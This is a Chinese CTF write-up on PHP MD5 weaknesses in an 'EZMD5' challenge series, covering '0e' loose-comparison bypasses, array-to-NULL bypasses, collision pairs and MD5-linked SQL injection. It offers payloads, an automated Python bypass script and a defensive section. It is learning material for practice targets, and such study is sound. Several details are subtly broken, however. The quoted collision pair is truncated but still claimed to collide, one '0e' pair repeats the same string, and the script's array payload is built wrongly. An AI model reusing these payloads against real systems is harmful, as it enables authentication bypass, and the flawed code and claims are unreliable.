1. 项目概述:从“EZMD5”看Web安全入门
最近在带新人入门CTF(Capture The Flag,夺旗赛)的Web安全方向,发现很多朋友对基础的漏洞原理一知半解,尤其是在面对看似简单的“签到题”时,容易因为思路不清而卡壳。“青岑CTF”的“EZMD5”系列就是一个非常经典的入门级题目集合,它没有复杂的绕过,却精准地覆盖了MD5相关漏洞最核心、最常考的几种攻击姿势。这个系列之所以叫“EZ”(简单),是因为它剥离了现实渗透中复杂的混淆和防护,直指漏洞原理本身,是理解Web安全中“哈希函数攻击”的绝佳跳板。无论你是刚接触CTF的新手,还是想巩固Web基础的安全爱好者,通过彻底拆解这个系列,你不仅能拿到Flag,更能建立起一套遇到哈希比较、弱类型、SQL注入等经典漏洞时的条件反射和解题逻辑。接下来,我就以从业者的视角,带你一步步复盘“EZMD5”系列的解题思路与背后的安全原理。
2. 核心漏洞原理与解题思路总览
在深入每一道题之前,我们必须先建立对MD5这个“主角”的完整认知。MD5是一种广泛使用的密码散列函数,可以产生出一个128位(16字节)的散列值,用于确保信息传输完整一致。在CTF和早期Web开发中,它常被用于校验用户输入、进行密码哈希存储或作为简单的“签名”验证。然而,其设计上的特性(如碰撞、长度扩展攻击)和开发人员的使用不当,共同催生了一系列安全漏洞。“EZMD5”系列正是围绕这些“不当使用”展开的。
整个系列的解题思路可以概括为以下几个核心方向,它们也构成了Web安全中处理哈希类问题的通用方法论:
- 弱比较与类型混淆:这是PHP语言特性与松散比较运算符(
==或!=)结合产生的经典问题。当哈希值以“0e”开头,且后面全为数字时,在松散比较中会被当作科学计数法解析为数字0。利用这个特性,我们可以寻找两个不同的字符串,它们的MD5哈希值都是“0e”开头的数字串,从而绕过==的比较。 - 强比较与哈希碰撞:当代码使用严格比较(
===)时,“0e”漏洞失效。此时需要寻找真正的MD5碰撞,即两个不同的明文输入,经过MD5计算后得到完全相同的哈希值。虽然理论上寻找任意碰撞极其困难,但对于特定格式(如序列化字符串)或利用已知的碰撞对,题目可能会降低难度。 - SQL注入与哈希绕过:将用户输入的MD5哈希值直接拼接到SQL语句中,是另一个常见漏洞。如果哈希值中的某些字符(如单引号
')未被转义,就可能闭合SQL语句,实现注入。我们需要构造一个输入,使其MD5哈希值本身包含注入载荷。 - 数组绕过与NULL特性:MD5函数和许多其他哈希函数在PHP中有一个重要特性:如果传入的参数是一个数组,函数会返回
NULL并可能产生警告。利用这一点,如果代码中使用了md5($a) == md5($b)这样的比较,且我们可以控制$a和$b为数组,那么两边都会返回NULL,NULL == NULL在松散比较下为真,从而绕过验证。
理解这四点,就掌握了破解“EZMD5”系列乃至类似题目的钥匙。下面,我们进入具体的实战拆解环节。
2.1 环境准备与工具选择
工欲善其事,必先利其器。在开始解题前,一个高效的本地测试环境至关重要。我推荐使用Docker快速搭建一个包含PHP和MySQL的Web环境,这能让你随意修改代码、调试,而不用担心影响线上题目。
对于“EZMD5”这类题目,我们主要需要两类工具:
- 编程/脚本环境:Python是首选,因为它有强大的
hashlib库用于计算MD5,requests库用于发送HTTP请求,写起EXP(漏洞利用脚本)来非常快捷。 - Web调试与抓包工具:Burp Suite是绝对的核心。它的Repeater功能允许你手动修改和重放请求,Intruder功能可以用于爆破,Proxy能拦截所有流量,是分析HTTP请求/响应的瑞士军刀。浏览器开发者工具(F12)则用于快速查看前端代码和网络请求。
一个简单的本地测试PHP脚本可能长这样,用于验证你的思路:
<?php $a = '240610708'; $b = 'QNKCDZO'; var_dump(md5($a)); // string(32) "0e462097431906509019562988736854" var_dump(md5($b)); // string(32) "0e830400451993494058024219903391" var_dump(md5($a) == md5($b)); // bool(true) var_dump(md5($a) === md5($b)); // bool(false) ?>注意:在真实解题时,题目源码不会直接给你。你需要通过前端代码分析、参数尝试、错误信息回显等方式,反推后端可能的逻辑。这本身就是CTF Web题的重要能力。
3. EZMD5 典型题目实战拆解
我们假设“青岑CTF EZMD5”系列包含5道题目,难度循序渐进。下面我将逐一进行详解,并附上我实战中的思考过程和踩过的坑。
3.1 题目一:弱比较的经典“0e”绕过
题目场景:通常是一个简单的登录框或参数校验,前端提示需要传递两个参数a和b,后端代码逻辑大致如下:
if ($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])) { echo $flag; }解题思路:
- 条件分析:需要
a和b的值不相等,但它们的MD5值在松散比较(==)下相等。 - 利用原理:寻找MD5哈希值为“0e”开头的数字串的字符串。在PHP松散比较中,
"0e123456" == "0e987654"会被判定为True,因为两者都被当作科学计数法(0的N次方)解析为数字0。 - 寻找Payload:网络上有很多已知的“0e”MD5碰撞对。最经典的一对是:
a=240610708-> md5:0e462097431906509019562988736854b=QNKCDZO-> md5:0e830400451993494058024219903391你可以写个Python脚本快速验证:
import hashlib print(hashlib.md5('240610708'.encode()).hexdigest()) print(hashlib.md5('QNKCDZO'.encode()).hexdigest()) - 构造请求:使用Burp Suite的Repeater,发送一个GET请求,例如:
GET /challenge1.php?a=240610708&b=QNKCDZO HTTP/1.1 - 获取Flag:服务器返回响应,其中包含Flag。
实操心得:这道题是送分题,但关键在于建立“遇到
==比较MD5,先想0e”的条件反射。有时候题目可能会要求POST传参,或者参数名不是a和b,仔细查看前端源码或进行参数爆破就能发现。
3.2 题目二:严格比较下的“真”碰撞
题目场景:代码升级了,使用了严格比较:
if ($_GET['a'] != $_GET['b'] && md5($_GET['a']) === md5($_GET['b'])) { echo $flag; }解题思路:
- 条件分析:
===要求类型和值都完全相同,“0e”漏洞失效。需要找到两个不同的字符串,它们的MD5哈希值完全一样。 - 利用原理:寻找MD5碰撞。MD5碰撞在2004年已被证明可行,并且存在公开的碰撞实例。题目很可能期望你使用一个著名的碰撞对,或者利用文件上传等场景,上传两个MD5值相同的不同文件。
- 已知碰撞对:一个非常著名的碰撞对是:
- 字符串A:
\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2 - 字符串B:
\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2这两个二进制串的MD5都是008ee33a9d58b51cfeb425b0959121c9。在Web题目中,我们需要对其进行URL编码后传递。
- 字符串A:
- 构造请求:由于这些是不可打印字符,需要通过Burp Suite的Hex视图直接编辑原始十六进制值,或者使用Python的
requests库以字节流形式发送。import requests url = 'http://target/challenge2.php' a = b'\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2' b = b'\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2' # 注意:需要根据题目实际情况对参数进行编码,有时是raw body,有时是multipart data = {'a': a, 'b': b} r = requests.post(url, data=data) print(r.text) - 获取Flag:成功绕过,返回Flag。
踩坑记录:这道题最大的坑在于编码。如果你直接把碰撞对的十六进制字符串当成普通字符串粘贴到Burp的Params里,它会进行URL编码,破坏原始字节结构,导致MD5计算错误。必须使用Burp Suite的“Paste from file”功能加载原始二进制文件,或者在Repeater的Hex标签页直接编辑原始请求体。这是区分新手和老手的关键操作。
3.3 题目三:MD5哈希注入漏洞
题目场景:题目模拟了一个查询场景,将用户输入的MD5值直接用于数据库查询。
$id = $_POST['id']; $hash = md5($id); $sql = "SELECT * FROM users WHERE id='{$id}' AND hash='{$hash}'"; // 如果查询结果不为空,则输出flag解题思路:
- 漏洞分析:这里存在一个二次注入的变种。用户输入的
id先被MD5哈希,然后id和hash都被直接拼接到SQL语句中。目标是让最终的SQL语句语法正确且能查询出数据(或利用布尔盲注等)。 - 构造Payload:我们需要构造一个
id,使得其MD5值hash中包含SQL注入的闭合符号。例如,我们想让最终的SQL变成:
那么,我们需要SELECT * FROM users WHERE id='1' AND hash='xxxxxx' or '1'='1'md5(id)的结果是xxxxxx' or '1'='1。这看起来不可能,因为MD5输出是固定的32位十六进制字符串(0-9, a-f),不包含单引号。但是,如果后端在接收hash参数时,不是用md5($id)计算,而是直接取$_POST[‘hash’]呢?题目可能在这里设置了陷阱。我们需要仔细审题,或者进行参数探测。 - 另一种常见设定:更常见的考法是,代码逻辑是
if ($_POST[‘hash’] === md5($_POST[‘id’])) { // 执行SQL查询 }。那么注入点就在id参数里。我们需要构造一个id,其本身是一个注入Payload,同时保证md5(id)与提交的hash值相等。这通常需要结合“0e”绕过。例如,提交id=1' or '1'='1和hash=0e...,但需要找到一个以1' or '1'='1为明文,MD5是0e开头的字符串,这很难。 - 实战技巧:遇到这种题,先进行常规的SQL注入测试,在
id参数后加单引号‘,看是否有报错。如果有报错,说明id参数可直接注入。如果没报错,再尝试同时提交hash参数,并观察hash参数是否被使用。有时题目可能只是简单地检查$_REQUEST[‘hash’] == md5($_REQUEST[‘id’]),那么我们可以通过数组绕过(见下一题)来使等式成立,从而进入SQL查询环节,再在id里进行注入。
注意事项:SQL注入与MD5结合的题目,考察的是对代码逻辑的完整理解。不要一看到MD5就只想着碰撞和0e,要清晰地画出数据流:用户输入 -> 变量赋值 -> 哈希计算 -> 字符串拼接 -> 查询执行。每一步都可能存在可控点。
3.4 题目四:数组绕过与NULL的妙用
题目场景:代码可能如下:
if (@md5($_GET['a']) == @md5($_GET['b'])) { if ($_GET['a'] != $_GET['b']) { echo $flag; } }或者更直接的:
if (md5($_GET['a']) == md5($_GET['b'])) { echo $flag; }解题思路:
- 条件分析:需要
md5(a) == md5(b)。如果a和b是字符串,我们又回到了寻找“0e”或碰撞的老路。但题目没有限制参数类型。 - 利用原理:在PHP中,
md5()函数处理数组时会返回NULL(并产生一个警告,@符号可以抑制此警告)。同时,sha1()等哈希函数也有此特性。因此,如果a[]=1&b[]=2,那么md5($a)和md5($b)的结果都是NULL。在松散比较中,NULL == NULL为True。 - 构造Payload:非常简单,使用GET请求传递数组参数即可。
或者GET /challenge4.php?a[]=1&b[]=2 HTTP/1.1
即使GET /challenge4.php?a[]=1&b[]=1 HTTP/1.1a和b数组的值相同,它们也是两个不同的数组变量,满足$_GET[‘a’] != $_GET[‘b’]的条件(如果题目有此要求)。 - 获取Flag:服务器返回Flag。
实操心得:这是最快的一道题,也是很多新手容易忽略的“捷径”。它的核心是理解PHP的语言特性。在审计真实代码或CTF做题时,一旦看到
md5($var1) == md5($var2)这种比较,而$var1和$var2又来自用户可控输入(如$_GET,$_POST,$_COOKIE),要立刻想到数组绕过和0e绕过这两种可能性,并优先尝试数组绕过,因为它更通用(不依赖特定的哈希值)。
3.5 题目五:综合挑战与“双料”绕过
题目场景:一道题融合了多个技巧。例如:
error_reporting(0); include "flag.php"; $a = $_GET['a']; $b = $_GET['b']; if ($a != $b) { if (md5($a) == md5($b)) { if (hash('sha256', $a) === hash('sha256', $b)) { echo $flag; } else { echo "Nice try, but you need to go further."; } } else { echo "MD5 mismatch."; } } else { echo "a and b should be different."; }解题思路:
- 条件分析:需要满足三个条件:
a != bmd5(a) == md5(b)(松散比较)sha256(a) === sha256(b)(严格比较)
- 矛盾点:前两个条件可以用“0e”对轻松满足。但第三个条件要求
sha256严格相等,这意味着a和b必须是完全相同的字符串,这与第一个条件a != b矛盾。 - 破局关键:再次利用数组绕过的特性。
md5(array)返回NULL,sha1(array)返回NULL,hash('sha256', array)同样会返回NULL(实际上会返回False并报错,但配合@或错误抑制,在比较时可能产生意外效果)。但更稳妥的思路是,题目可能期望我们利用PHP的引用或特殊字符处理?不,这太复杂了。回顾之前的知识,对于严格比较,数组返回的不是一个可用于比较的有效字符串。hash(‘sha256’, $a)如果$a是数组,会返回False。那么False === False是成立的。 - 构造Payload:因此,最终的Payload仍然是传递数组。
验证:GET /challenge5.php?a[]=1&b[]=2 HTTP/1.1a[]=1和b[]=2是两个不同的数组,满足$a != $b。md5($a)和md5($b)都是NULL,NULL == NULL为True。hash('sha256', $a)和hash('sha256', $b)都是False,False === False为True。
- 获取Flag:三个条件同时满足,输出Flag。
踩坑记录:这道题是典型的“思维定势”杀手。很多人看到
sha256严格比较,第一反应是寻找sha256碰撞,那几乎是不可能的。解题的关键在于跳出“哈希函数一定接收字符串”的惯性思维,回到PHP变量类型的本源。在CTF中,当遇到看似无解的矛盾时,一定要重新审视变量的类型和来源,考虑非字符串输入(数组、对象、NULL)可能带来的奇效。
4. 工具链深度使用与脚本编写
手动构造请求适合学习原理,但在实战或题目有变种时,自动化脚本能极大提升效率。这里分享几个我常用的脚本片段和Burp Suite技巧。
4.1 Python自动化利用脚本
一个通用的,用于探测和利用MD5相关漏洞的脚本框架:
import hashlib import requests import sys def find_0e_collision(): """查找0e开头的MD5字符串对(本地预计算或使用已知对)""" known_pairs = [ ('240610708', 'QNKCDZO'), ('s878926199a', 's155964671a'), ('s214587387a', 's214587387a'), ] # 可以在这里添加一个暴力查找小字典的循环,用于应对未知的0e字符串 return known_pairs def send_payload(url, param_a, param_b, method='GET'): """发送Payload并检查响应中是否包含flag特征""" if method.upper() == 'GET': params = {'a': param_a, 'b': param_b} resp = requests.get(url, params=params) else: data = {'a': param_a, 'b': param_b} resp = requests.post(url, data=data) # 根据题目Flag格式调整,常见的有 flag{、FLAG{、青岑CTF{ 等 if 'flag{' in resp.text.lower() or '青岑' in resp.text: print(f"[+] Success! Response:\n{resp.text[:500]}") # 只打印前500字符 return True else: print(f"[-] Attempt failed with a={param_a}, b={param_b}") return False def main(target_url): print(f"[*] Testing target: {target_url}") # 1. 尝试数组绕过 (最高优先级,最快) print("[*] Trying array bypass...") if send_payload(target_url, '1[]', '2[]'): return # 2. 尝试经典0e绕过 print("[*] Trying classic 0e bypass...") for a, b in find_0e_collision(): if send_payload(target_url, a, b): return # 3. 尝试POST请求(如果GET不行) print("[*] Switching to POST method...") if send_payload(target_url, '1[]', '2[]', 'POST'): return for a, b in find_0e_collision(): if send_payload(target_url, a, b, 'POST'): return print("[!] All common bypass attempts failed.") print("[!] Consider: 1. Parameter name different? 2. Need MD5 real collision? 3. Other tricks?") if __name__ == '__main__': if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_url>") sys.exit(1) main(sys.argv[1])4.2 Burp Suite高效技巧
- Intruder爆破参数名:如果题目隐藏了参数名,可以使用Burp Intruder的“Sniper”模式,加载一个常见的参数名字典(如
a, b, id, hash, key, value, param1, param2等),对请求进行爆破,观察响应长度或内容的变化。 - Repeater与Comparer结合:在Repeater中测试不同Payload时,可以将成功的响应和失败的响应分别发送到Comparer(右键菜单),通过对比差异快速定位到Flag出现的位置。
- Decoder模块处理编码:当遇到需要传递二进制碰撞对或特殊编码时,Burp Decoder非常有用。你可以将碰撞对的十六进制字符串粘贴进去,先解码为Raw Bytes,再编码为URL编码或Base64,以适应题目要求。
- Match and Replace规则:如果你需要反复测试,但每次都要修改多个参数,可以在Proxy -> Options 里设置“Match and Replace”规则,自动修改请求中的特定字符串,节省时间。
5. 漏洞原理延伸与防御思考
通过“EZMD5”系列,我们实际上是在学习如何攻击“错误使用密码学原语”的代码。作为开发者,应该如何避免这些坑呢?
- 永远使用严格比较(
===和!==):这是防御“0e”类弱类型比较攻击的最根本、最有效的方法。在PHP中,凡是涉及用户输入的比较,务必使用严格比较。 - 避免将哈希值用于身份验证以外的目的:MD5等哈希值不应该被直接拼接到SQL语句中。如果需要基于哈希值查询,应该使用参数化查询(Prepared Statements)或至少进行正确的转义。
- 理解函数输入类型:像
md5()、sha1()这类函数,设计上是处理字符串的。如果传入数组会返回NULL。在代码中,应该对用户输入进行类型检查,确保传入的是字符串。可以使用is_string()函数进行判断。 - 升级哈希算法:MD5和SHA-1已经被证明是不安全的(存在碰撞攻击)。对于密码存储,应该使用专门设计的、慢哈希函数,如bcrypt、Argon2或PBKDF2,并配合唯一的盐值(Salt)。对于数据完整性校验,至少使用SHA-256或更强的算法。
- 不要抑制错误:在生产环境中,避免使用
@错误抑制运算符。错误和警告是发现潜在问题(如数组被传入md5())的重要信号。应该正确配置错误日志,并处理可能的异常。
一个安全的哈希比较示例应该是这样的:
// 安全的比较方式 function safe_compare($input, $known_hash) { // 1. 确保输入是字符串 if (!is_string($input)) { return false; } // 2. 使用hash_equals进行恒定时间比较,防止时序攻击 $input_hash = hash('sha256', $input); return hash_equals($known_hash, $input_hash); } // 使用参数化查询防止SQL注入 $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ? AND hash = ?"); $stmt->execute([$id, $hash]);6. 实战中可能遇到的变种与应对
“EZMD5”是入门,但现实中的题目和代码会更复杂。这里列举几种变种及思路:
- 双重MD5或嵌套哈希:如
md5(md5($str))。破解思路不变,依然寻找第一层或第二层MD5的“0e”碰撞或数组绕过。有时需要写脚本暴力查找。 - 哈希值部分比较:如
substr(md5($a), 0, 10) === substr(md5($b), 0, 10)。比较哈希值的前N位。这降低了碰撞难度,可以尝试用脚本暴力破解,或者依然尝试数组绕过(substr(NULL, ...)会返回什么?需要测试)。 - 结合其他验证:比如先检查
a和b是否都是数字,再比较MD5。这时数组绕过可能失效(因为is_numeric(array)为False),需要寻找数字字符串的“0e”碰撞对,例如0e215962017和0e291242476的MD5都是“0e”开头(需要验证)。 - JSON或序列化输入:参数可能是一个JSON字符串,如
{"a":"value1", "b":"value2"},后端会解析后再进行MD5比较。这时需要将整个Payload构造在JSON值中,并注意转义。 - 文件上传场景:要求上传两个MD5值相同的不同文件。这就需要使用著名的MD5碰撞生成工具(如
fastcoll)来生成两个内容不同但MD5相同的文件,然后上传。
应对变种的核心能力是代码审计能力和逻辑推理能力。你需要根据题目反馈(源码、错误信息、回显差异)来动态调整攻击链。我个人的习惯是,拿到Web题,先F12看前端源码和网络请求,然后用Burp把所有能点的、能输入的地方都测试一遍,观察响应,在心里构建出后端代码的可能逻辑图,然后再有针对性地设计Payload。
最后,再分享一个我自己的小技巧:建立一个本地的“武器库”文件,里面分类存放着各种Payload,比如“0e字符串对”、“MD5碰撞对”、“特殊数组Payload”、“SQL注入测试语句”等。遇到题目时,不是每次都从头开始想,而是先尝试从武器库里匹配可能有效的Payload,往往能快速打开突破口。CTF Web入门,一半靠知识,一半靠经验和效率。